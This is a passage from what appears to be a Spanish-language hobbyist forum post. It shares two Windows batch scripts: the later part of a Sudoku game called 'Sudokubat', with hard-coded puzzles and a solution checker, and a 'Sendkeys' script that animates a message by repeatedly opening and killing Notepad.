if %errorlevel% == 72 (goto:MoveUp)
if %errorlevel% == 80 (goto:MoveDown)
if %errorlevel% == 77 (goto:MoveRight)
if %errorlevel% == 75 (goto:MoveLeft)
if %errorlevel% == 13 (goto:Result)
goto:main

:MoveUp
set "old_position=%position%"
set/a num+=1
set "position=%letter%[%num%]"
goto:main

:MoveDown
set "old_position=%position%"
set/a num-=1
set "position=%letter%[%num%]"
goto:main

:MoveRight
set "old_position=%position%"
if "%letter%"=="h" (set "letter=i")
if "%letter%"=="g" (set "letter=h")
if "%letter%"=="f" (set "letter=g")
if "%letter%"=="e" (set "letter=f")
if "%letter%"=="d" (set "letter=e")
if "%letter%"=="c" (set "letter=d")
if "%letter%"=="b" (set "letter=c")
if "%letter%"=="a" (set "letter=b")
set "position=%letter%[%num%]"
goto:main

:MoveLeft
set "old_position=%position%"
if "%letter%"=="b" (set "letter=a")
if "%letter%"=="c" (set "letter=b")
if "%letter%"=="d" (set "letter=c")
if "%letter%"=="e" (set "letter=d")
if "%letter%"=="f" (set "letter=e")
if "%letter%"=="g" (set "letter=f")
if "%letter%"=="h" (set "letter=g")
if "%letter%"=="i" (set "letter=h")
set "position=%letter%[%num%]"
goto:main

:clean_var
for /L %%a in (1,1,9) do (
set "a[%%a]= "
set "b[%%a]= "
set "c[%%a]= "
set "d[%%a]= "
set "e[%%a]= "
set "f[%%a]= "
set "g[%%a]= "
set "h[%%a]= "
set "i[%%a]= "
)
set "a[1]=%pos%"
call:Sudoku_%level%
goto:eof

:header
cls
echo.
echo.             ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo.             ³Sudokubat - by xassiz³
echo.             ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo.
echo.                     Level %1
echo.
goto:eof

:Sudoku_1
set "a[2]=1"
set "a[7]=6"
set "b[2]=6"
set "b[5]=2"
set "b[6]=9"
set "b[7]=4"
set "b[9]=7"
set "c[2]=5"
set "c[5]=6"
set "c[7]=9"
set "d[1]=9"
set "d[4]=4"
set "d[9]=5"
set "e[1]=1"
set "e[4]=2"
set "e[6]=3"
set "e[9]=6"
set "f[1]=8"
set "f[6]=7"
set "f[9]=2"
set "g[3]=1"
set "g[5]=9"
set "g[8]=8"
set "h[1]=4"
set "h[3]=2"
set "h[4]=1"
set "h[5]=7"
set "h[8]=6"
set "i[3]=3"
set "i[8]=7"
goto:eof

:Sudoku_2
set "a[7]=8"
set "a[8]=9"
set "b[1]=5"
set "b[2]=4"
set "b[3]=7"
set "c[4]=2"
set "c[5]=6"
set "c[6]=7"
set "c[9]=4"
set "d[4]=1"
set "d[6]=8"
set "d[7]=7"
set "e[1]=3"
set "e[2]=8"
set "e[3]=6"
set "e[7]=2"
set "e[8]=1"
set "e[9]=5"
set "f[3]=1"
set "f[4]=3"
set "f[6]=6"
set "g[1]=7"
set "g[4]=5"
set "g[5]=3"
set "g[6]=1"
set "h[7]=6"
set "h[8]=4"
set "h[9]=1"
set "i[2]=9"
set "i[3]=2"
goto:eof

:Sudoku_3
set "a[1]=8"
set "a[4]=1"
set "a[5]=5"
set "a[6]=2"
set "b[1]=7"
set "b[7]=5"
set "c[3]=6"
set "c[7]=9"
set "d[1]=1"
set "d[2]=2"
set "d[8]=3"
set "e[2]=3"
set "e[4]=6"
set "e[6]=7"
set "e[8]=9"
set "f[2]=6"
set "f[8]=4"
set "f[9]=5"
set "g[3]=9"
set "g[7]=8"
set "h[3]=1"
set "h[9]=6"
set "i[4]=2"
set "i[5]=4"
set "i[6]=3"
set "i[9]=9"
goto:eof

:Sudoku_4
set "a[3]=3"
set "a[6]=2"
set "b[3]=4"
set "b[8]=9"
set "c[1]=5"
set "c[3]=7"
set "c[5]=6"
set "c[6]=9"
set "c[9]=3"
set "d[2]=6"
set "e[1]=2"
set "e[4]=7"
set "e[6]=3"
set "e[9]=1"
set "f[8]=8"
set "g[1]=9"
set "g[4]=5"
set "g[5]=8"
set "g[7]=2"
set "g[9]=7"
set "h[2]=1"
set "h[7]=3"
set "i[4]=4"
set "i[7]=5"
goto:eof

:Sudoku_5
set "a[4]=8"
set "a[5]=7"
set "a[6]=4"
set "a[9]=3"
set "b[8]=9"
set "c[1]=2"
set "c[5]=3"
set "c[8]=5"
set "d[1]=3"
set "d[9]=1"
set "e[4]=9"
set "e[6]=6"
set "f[1]=5"
set "f[9]=4"
set "g[2]=6"
set "g[5]=1"
set "g[9]=8"
set "h[2]=7"
set "i[1]=1"
set "i[4]=6"
set "i[5]=2"
set "i[6]=3"
goto:eof

:End
cls
echo.             ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo.             ³Sudokubat - by xassiz³
echo.             ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo.
echo.                    Felicidades,
echo.
echo.           has ganado Sudokubat, eres un gran
echo.
echo.                jugador de Sudoku =^)
pause>nul
cls
echo.             ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo.             ³Sudokubat - by xassiz³
echo.             ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo.
echo.           Gracias por usar Sudokubat
echo.
echo.        Pulse cualquier tecla para salir
pause>nul
exit

:Result
::columns
cls
for %%_ in (a,b,c,d,e,f,g,h,i) do (
if "!%%_[1]!"=="!%%_[2]!" (set tBoolean=true)
if "!%%_[1]!"=="!%%_[3]!" (set tBoolean=true)
if "!%%_[1]!"=="!%%_[4]!" (set tBoolean=true)
if "!%%_[1]!"=="!%%_[5]!" (set tBoolean=true)
if "!%%_[1]!"=="!%%_[6]!" (set tBoolean=true)
if "!%%_[1]!"=="!%%_[7]!" (set tBoolean=true)
if "!%%_[1]!"=="!%%_[8]!" (set tBoolean=true)
if "!%%_[1]!"=="!%%_[9]!" (set tBoolean=true)
if "!%%_[2]!"=="!%%_[3]!" (set tBoolean=true)
if "!%%_[2]!"=="!%%_[4]!" (set tBoolean=true)
if "!%%_[2]!"=="!%%_[5]!" (set tBoolean=true)
if "!%%_[2]!"=="!%%_[6]!" (set tBoolean=true)
if "!%%_[2]!"=="!%%_[7]!" (set tBoolean=true)
if "!%%_[2]!"=="!%%_[8]!" (set tBoolean=true)
if "!%%_[2]!"=="!%%_[9]!" (set tBoolean=true)
if "!%%_[3]!"=="!%%_[4]!" (set tBoolean=true)
if "!%%_[3]!"=="!%%_[5]!" (set tBoolean=true)
if "!%%_[3]!"=="!%%_[6]!" (set tBoolean=true)
if "!%%_[3]!"=="!%%_[7]!" (set tBoolean=true)
if "!%%_[3]!"=="!%%_[8]!" (set tBoolean=true)
if "!%%_[3]!"=="!%%_[9]!" (set tBoolean=true)
if "!%%_[4]!"=="!%%_[5]!" (set tBoolean=true)
if "!%%_[4]!"=="!%%_[6]!" (set tBoolean=true)
if "!%%_[4]!"=="!%%_[7]!" (set tBoolean=true)
if "!%%_[4]!"=="!%%_[8]!" (set tBoolean=true)
if "!%%_[4]!"=="!%%_[9]!" (set tBoolean=true)
if "!%%_[5]!"=="!%%_[6]!" (set tBoolean=true)
if "!%%_[5]!"=="!%%_[7]!" (set tBoolean=true)
if "!%%_[5]!"=="!%%_[8]!" (set tBoolean=true)
if "!%%_[5]!"=="!%%_[9]!" (set tBoolean=true)
if "!%%_[6]!"=="!%%_[7]!" (set tBoolean=true)
if "!%%_[6]!"=="!%%_[8]!" (set tBoolean=true)
if "!%%_[6]!"=="!%%_[9]!" (set tBoolean=true)
if "!%%_[7]!"=="!%%_[8]!" (set tBoolean=true)
if "!%%_[7]!"=="!%%_[9]!" (set tBoolean=true)
if "!%%_[8]!"=="!%%_[9]!" (set tBoolean=true)
)
if "%tBoolean%"=="true" (
call:header %level%
echo.
echo.                       Mal
echo.
pause>nul
goto:main
) else (set "Columns=Good")
(set tBoolean=)
::rows
for /L %%- in (1 1 9) do (
if "!a[%%-]!"=="!b[%%-]!" (set tBoolean=true)
if "!a[%%-]!"=="!c[%%-]!" (set tBoolean=true)
if "!a[%%-]!"=="!d[%%-]!" (set tBoolean=true)
if "!a[%%-]!"=="!e[%%-]!" (set tBoolean=true)
if "!a[%%-]!"=="!f[%%-]!" (set tBoolean=true)
if "!a[%%-]!"=="!g[%%-]!" (set tBoolean=true)
if "!a[%%-]!"=="!h[%%-]!" (set tBoolean=true)
if "!a[%%-]!"=="!i[%%-]!" (set tBoolean=true)
if "!b[%%-]!"=="!c[%%-]!" (set tBoolean=true)
if "!b[%%-]!"=="!d[%%-]!" (set tBoolean=true)
if "!b[%%-]!"=="!e[%%-]!" (set tBoolean=true)
if "!b[%%-]!"=="!f[%%-]!" (set tBoolean=true)
if "!b[%%-]!"=="!g[%%-]!" (set tBoolean=true)
if "!c[%%-]!"=="!d[%%-]!" (set tBoolean=true)
if "!c[%%-]!"=="!e[%%-]!" (set tBoolean=true)
if "!c[%%-]!"=="!f[%%-]!" (set tBoolean=true)
if "!c[%%-]!"=="!g[%%-]!" (set tBoolean=true)
if "!c[%%-]!"=="!h[%%-]!" (set tBoolean=true)
if "!c[%%-]!"=="!i[%%-]!" (set tBoolean=true)
if "!d[%%-]!"=="!e[%%-]!" (set tBoolean=true)
if "!d[%%-]!"=="!f[%%-]!" (set tBoolean=true)
if "!d[%%-]!"=="!g[%%-]!" (set tBoolean=true)
if "!d[%%-]!"=="!h[%%-]!" (set tBoolean=true)
if "!d[%%-]!"=="!i[%%-]!" (set tBoolean=true)
if "!e[%%-]!"=="!f[%%-]!" (set tBoolean=true)
if "!e[%%-]!"=="!g[%%-]!" (set tBoolean=true)
if "!e[%%-]!"=="!h[%%-]!" (set tBoolean=true)
if "!e[%%-]!"=="!i[%%-]!" (set tBoolean=true)
if "!f[%%-]!"=="!g[%%-]!" (set tBoolean=true)
if "!f[%%-]!"=="!h[%%-]!" (set tBoolean=true)
if "!f[%%-]!"=="!i[%%-]!" (set tBoolean=true)
if "!g[%%-]!"=="!h[%%-]!" (set tBoolean=true)
if "!g[%%-]!"=="!i[%%-]!" (set tBoolean=true)
if "!h[%%-]!"=="!i[%%-]!" (set tBoolean=true)
)
if "%tBoolean%"=="true" (
call:header %level%
echo.
echo.                       Mal
echo.
pause>nul
goto:main
) else (set "Rows=Good")
(set tBoolean=)

::squares

if "%a[1]%"=="%b[2]%" (set tBoolean=true)
if "%a[1]%"=="%b[3]%" (set tBoolean=true)
if "%a[1]%"=="%c[2]%" (set tBoolean=true)
if "%a[1]%"=="%c[3]%" (set tBoolean=true)
if "%b[1]%"=="%a[2]%" (set tBoolean=true)
if "%b[1]%"=="%a[3]%" (set tBoolean=true)
if "%b[1]%"=="%c[2]%" (set tBoolean=true)
if "%b[1]%"=="%c[3]%" (set tBoolean=true)
if "%c[1]%"=="%a[2]%" (set tBoolean=true)
if "%c[1]%"=="%a[3]%" (set tBoolean=true)
if "%c[1]%"=="%b[2]%" (set tBoolean=true)
if "%c[1]%"=="%b[3]%" (set tBoolean=true)
if "%a[2]%"=="%b[3]%" (set tBoolean=true)
if "%a[2]%"=="%c[3]%" (set tBoolean=true)
if "%b[2]%"=="%a[3]%" (set tBoolean=true)
if "%b[2]%"=="%c[3]%" (set tBoolean=true)
if "%c[2]%"=="%a[3]%" (set tBoolean=true)
if "%c[2]%"=="%b[3]%" (set tBoolean=true)

if "%d[1]%"=="%e[2]%" (set tBoolean=true)
if "%d[1]%"=="%e[3]%" (set tBoolean=true)
if "%d[1]%"=="%f[2]%" (set tBoolean=true)
if "%d[1]%"=="%f[3]%" (set tBoolean=true)
if "%e[1]%"=="%d[2]%" (set tBoolean=true)
if "%e[1]%"=="%d[3]%" (set tBoolean=true)
if "%e[1]%"=="%f[2]%" (set tBoolean=true)
if "%e[1]%"=="%f[3]%" (set tBoolean=true)
if "%f[1]%"=="%d[2]%" (set tBoolean=true)
if "%f[1]%"=="%d[3]%" (set tBoolean=true)
if "%f[1]%"=="%e[2]%" (set tBoolean=true)
if "%f[1]%"=="%e[3]%" (set tBoolean=true)
if "%d[2]%"=="%e[3]%" (set tBoolean=true)
if "%d[2]%"=="%f[3]%" (set tBoolean=true)
if "%e[2]%"=="%d[3]%" (set tBoolean=true)
if "%e[2]%"=="%f[3]%" (set tBoolean=true)
if "%f[2]%"=="%d[3]%" (set tBoolean=true)
if "%f[2]%"=="%e[3]%" (set tBoolean=true)

if "%g[1]%"=="%h[2]%" (set tBoolean=true)
if "%g[1]%"=="%h[3]%" (set tBoolean=true)
if "%g[1]%"=="%i[2]%" (set tBoolean=true)
if "%g[1]%"=="%i[3]%" (set tBoolean=true)
if "%h[1]%"=="%g[2]%" (set tBoolean=true)
if "%h[1]%"=="%g[3]%" (set tBoolean=true)
if "%h[1]%"=="%i[2]%" (set tBoolean=true)
if "%h[1]%"=="%i[3]%" (set tBoolean=true)
if "%i[1]%"=="%g[2]%" (set tBoolean=true)
if "%i[1]%"=="%g[3]%" (set tBoolean=true)
if "%i[1]%"=="%h[2]%" (set tBoolean=true)
if "%i[1]%"=="%h[3]%" (set tBoolean=true)
if "%g[2]%"=="%h[3]%" (set tBoolean=true)
if "%g[2]%"=="%i[3]%" (set tBoolean=true)
if "%h[2]%"=="%g[3]%" (set tBoolean=true)
if "%h[2]%"=="%i[3]%" (set tBoolean=true)
if "%i[2]%"=="%g[3]%" (set tBoolean=true)
if "%i[2]%"=="%h[3]%" (set tBoolean=true)

if "%a[4]%"=="%b[5]%" (set tBoolean=true)
if "%a[4]%"=="%b[6]%" (set tBoolean=true)
if "%a[4]%"=="%c[5]%" (set tBoolean=true)
if "%a[4]%"=="%c[6]%" (set tBoolean=true)
if "%b[4]%"=="%a[5]%" (set tBoolean=true)
if "%b[4]%"=="%a[6]%" (set tBoolean=true)
if "%b[4]%"=="%c[5]%" (set tBoolean=true)
if "%b[4]%"=="%c[6]%" (set tBoolean=true)
if "%c[4]%"=="%a[5]%" (set tBoolean=true)
if "%c[4]%"=="%a[6]%" (set tBoolean=true)
if "%c[4]%"=="%b[5]%" (set tBoolean=true)
if "%c[4]%"=="%b[6]%" (set tBoolean=true)
if "%a[5]%"=="%b[6]%" (set tBoolean=true)
if "%a[5]%"=="%c[6]%" (set tBoolean=true)
if "%b[5]%"=="%a[6]%" (set tBoolean=true)
if "%b[5]%"=="%c[6]%" (set tBoolean=true)
if "%c[5]%"=="%a[6]%" (set tBoolean=true)
if "%c[5]%"=="%b[6]%" (set tBoolean=true)

if "%d[4]%"=="%e[5]%" (set tBoolean=true)
if "%d[4]%"=="%e[6]%" (set tBoolean=true)
if "%d[4]%"=="%f[5]%" (set tBoolean=true)
if "%d[4]%"=="%f[6]%" (set tBoolean=true)
if "%e[4]%"=="%d[5]%" (set tBoolean=true)
if "%e[4]%"=="%d[6]%" (set tBoolean=true)
if "%e[4]%"=="%f[5]%" (set tBoolean=true)
if "%e[4]%"=="%f[6]%" (set tBoolean=true)
if "%f[4]%"=="%d[5]%" (set tBoolean=true)
if "%f[4]%"=="%d[6]%" (set tBoolean=true)
if "%f[4]%"=="%e[5]%" (set tBoolean=true)
if "%f[4]%"=="%e[6]%" (set tBoolean=true)
if "%d[5]%"=="%e[6]%" (set tBoolean=true)
if "%d[5]%"=="%f[6]%" (set tBoolean=true)
if "%e[5]%"=="%d[6]%" (set tBoolean=true)
if "%e[5]%"=="%f[6]%" (set tBoolean=true)
if "%f[5]%"=="%d[6]%" (set tBoolean=true)
if "%f[5]%"=="%e[6]%" (set tBoolean=true)

if "%g[4]%"=="%h[5]%" (set tBoolean=true)
if "%g[4]%"=="%h[6]%" (set tBoolean=true)
if "%g[4]%"=="%i[5]%" (set tBoolean=true)
if "%g[4]%"=="%i[6]%" (set tBoolean=true)
if "%h[4]%"=="%g[5]%" (set tBoolean=true)
if "%h[4]%"=="%g[6]%" (set tBoolean=true)
if "%h[4]%"=="%i[5]%" (set tBoolean=true)
if "%h[4]%"=="%i[6]%" (set tBoolean=true)
if "%i[4]%"=="%g[5]%" (set tBoolean=true)
if "%i[4]%"=="%g[6]%" (set tBoolean=true)
if "%i[4]%"=="%h[5]%" (set tBoolean=true)
if "%i[4]%"=="%h[6]%" (set tBoolean=true)
if "%g[5]%"=="%h[6]%" (set tBoolean=true)
if "%g[5]%"=="%i[6]%" (set tBoolean=true)
if "%h[5]%"=="%g[6]%" (set tBoolean=true)
if "%h[5]%"=="%i[6]%" (set tBoolean=true)
if "%i[5]%"=="%g[6]%" (set tBoolean=true)
if "%i[5]%"=="%h[6]%" (set tBoolean=true)

if "%a[7]%"=="%b[8]%" (set tBoolean=true)
if "%a[7]%"=="%b[9]%" (set tBoolean=true)
if "%a[7]%"=="%c[8]%" (set tBoolean=true)
if "%a[7]%"=="%c[9]%" (set tBoolean=true)
if "%b[7]%"=="%a[8]%" (set tBoolean=true)
if "%b[7]%"=="%a[9]%" (set tBoolean=true)
if "%b[7]%"=="%c[8]%" (set tBoolean=true)
if "%b[7]%"=="%c[9]%" (set tBoolean=true)
if "%c[7]%"=="%a[8]%" (set tBoolean=true)
if "%c[7]%"=="%a[9]%" (set tBoolean=true)
if "%c[7]%"=="%b[8]%" (set tBoolean=true)
if "%c[7]%"=="%b[9]%" (set tBoolean=true)
if "%a[8]%"=="%b[9]%" (set tBoolean=true)
if "%a[8]%"=="%c[9]%" (set tBoolean=true)
if "%b[8]%"=="%a[9]%" (set tBoolean=true)
if "%b[8]%"=="%c[9]%" (set tBoolean=true)
if "%c[8]%"=="%a[9]%" (set tBoolean=true)
if "%c[8]%"=="%b[9]%" (set tBoolean=true)

if "%d[7]%"=="%e[8]%" (set tBoolean=true)
if "%d[7]%"=="%e[9]%" (set tBoolean=true)
if "%d[7]%"=="%f[8]%" (set tBoolean=true)
if "%d[7]%"=="%f[9]%" (set tBoolean=true)
if "%e[7]%"=="%d[8]%" (set tBoolean=true)
if "%e[7]%"=="%d[9]%" (set tBoolean=true)
if "%e[7]%"=="%f[8]%" (set tBoolean=true)
if "%e[7]%"=="%f[9]%" (set tBoolean=true)
if "%f[7]%"=="%d[8]%" (set tBoolean=true)
if "%f[7]%"=="%d[9]%" (set tBoolean=true)
if "%f[7]%"=="%e[8]%" (set tBoolean=true)
if "%f[7]%"=="%e[9]%" (set tBoolean=true)
if "%d[8]%"=="%e[9]%" (set tBoolean=true)
if "%d[8]%"=="%f[9]%" (set tBoolean=true)
if "%e[8]%"=="%d[9]%" (set tBoolean=true)
if "%e[8]%"=="%f[9]%" (set tBoolean=true)
if "%f[8]%"=="%d[9]%" (set tBoolean=true)
if "%f[8]%"=="%e[9]%" (set tBoolean=true)

if "%g[7]%"=="%h[8]%" (set tBoolean=true)
if "%g[7]%"=="%h[9]%" (set tBoolean=true)
if "%g[7]%"=="%i[8]%" (set tBoolean=true)
if "%g[7]%"=="%i[9]%" (set tBoolean=true)
if "%h[7]%"=="%g[8]%" (set tBoolean=true)
if "%h[7]%"=="%g[9]%" (set tBoolean=true)
if "%h[7]%"=="%i[8]%" (set tBoolean=true)
if "%h[7]%"=="%i[9]%" (set tBoolean=true)
if "%i[7]%"=="%g[8]%" (set tBoolean=true)
if "%i[7]%"=="%g[9]%" (set tBoolean=true)
if "%i[7]%"=="%h[8]%" (set tBoolean=true)
if "%i[7]%"=="%h[9]%" (set tBoolean=true)
if "%g[8]%"=="%h[9]%" (set tBoolean=true)
if "%g[8]%"=="%i[9]%" (set tBoolean=true)
if "%h[8]%"=="%g[9]%" (set tBoolean=true)
if "%h[8]%"=="%i[9]%" (set tBoolean=true)
if "%i[8]%"=="%g[9]%" (set tBoolean=true)
if "%i[8]%"=="%h[9]%" (set tBoolean=true)

if "%tBoolean%"=="true" (
call:header %level%
echo.
echo.                      Mal
echo.
pause>nul
goto:main
) else (set "Squares=Good")
(set tBoolean=)
if "%Columns%"=="Good" (
if "%Rows%"=="Good" (
if "%Squares%"=="Good" (
start %temp%\sudokubatemp.vbs
set/a "level+=1"
if %level%==6 (goto:End)
call:clean_var
goto:main
))) else (goto:main)


:howto
cls
mode con cols=52 lines=16
echo.&echo.
echo.             ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo.             ³Sudokubat - by xassiz³
echo.             ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo.
echo. Muevete por el tablero con las teclas de direccion
echo. y ve poniendo numeros con el teclado.
echo.
echo.  Una vez acabes y quieras comprobar si lo hiciste
echo.   correctamente, solo tienes que darle a Enter.
echo.
echo.      Espero que disfruteis con Sudokubat
echo.
echo.                     Saludos
echo.                     xassiz_
echo.
pause>nul&goto:menu

Espero que os guste, para la siguiente version intentare hacer que los sudoku's se generen (estos los puse yo).


Un saludo,
xassiz

[Título:]

Título: Sendkeys
Temática: Funcional
Autor: xassiz
Descripción: Efecto grafico en notepad.
Funcionamiento: Coge un mensaje como argumento. Este lo muestra con un efecto de marquesina como mandando pulsaciones de teclado en el notepad, de manera que da un efecto en el cual escribimos en otra aplicacion que no sea cmd.

Código [Seleccionar] Expandir


::
:: $Auth0r=xassiz
:: $script=sendkeys command
::
::      -Use:       sendkeys <msg>
::                                            (2009)

  @echo off
set "file=sendk%random:~0,3%.txt"
set "text=%*"
call:sklen %text%&set/a len+=1
call:sendkeys %text%
del /q/s/f/a "%file%">nul 2>&1
echo on
  @exit /b
:sendkeys
set/a count+=1
set "msg=%*"
call set "msg=%%msg:~0,%count%%%"
if not defined msg (goto:eof)
if %count% equ %len% (goto:eof)
echo.%msg%>%file%
start notepad.exe %file%
ping -n 1 127.1>nul
taskkill /im notepad.exe /f>nul || tskill notepad>nul
goto:sendkeys
:sklen
set "len="
set "sk=%*"
:sklen2
set "sk=%sk:~1%" && set/a len+=1
if defined sk goto sklen2 || goto :eof


Es un efecto que vi hacer con vbs :p

Dudas y sugerencias ^^

bytes